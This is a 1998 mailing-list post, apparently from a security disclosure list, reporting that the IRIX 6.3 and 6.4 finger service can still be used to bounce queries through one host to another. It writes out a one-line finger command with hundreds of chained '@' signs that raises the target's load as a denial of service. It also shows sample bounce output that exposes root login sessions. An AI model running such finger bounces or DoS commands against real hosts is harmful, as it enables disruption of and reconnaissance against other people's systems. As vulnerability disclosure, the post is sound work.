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Finger bounce and DoS still exists in IRIX 6.3 and 6.4
From: Matthew.Potter () GLOBALONE NET (Matthew Potter)
Date: Tue, 14 Jul 1998 14:58:17 -0400
This bug is pretty damn old, Why hasnt SGI fixed this yet? For more fun.... finger -l @@@@@@@@@@@@@@@@@@@@target@bounce_host, do a @ about 500 times ;) The target machines load goes up signifigantly. This isn't anything exciting and new just something SGI needs to fix. Matt Note: fingered from external host. bash$ finger -l @192.168.157.50@192.168.157.29 [192.168.157.29] [192.168.157.50] Login name: root In real life: Super-User Directory: / Shell: /bin/csh On since Jul 14 08:37:29 on ttyq0 from :0.0 1 minute 49 seconds Idle Time On since Jul 13 10:28:10 on ttyq7 from :0.0 On since Jul 14 11:14:05 on ttyq5 1 minute 41 seconds Idle Time On since Jul 9 13:06:36 on ttyq4 from :0.0 10 minutes Idle Time On since Jul 14 11:06:26 on ttyq2 2 minutes 53 seconds Idle Time No Plan. Machines: IRIX O2 6.3 12161207 IP32 192.168.157.50 IRIX64 Origin200 6.4 02121744 IP27 192.168.157.29
Current thread:
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- Re: Linux and world-writable /tmp - workaround David Luyer (Jul 13)
- Finger bounce and DoS still exists in IRIX 6.3 and 6.4 Matthew Potter (Jul 14)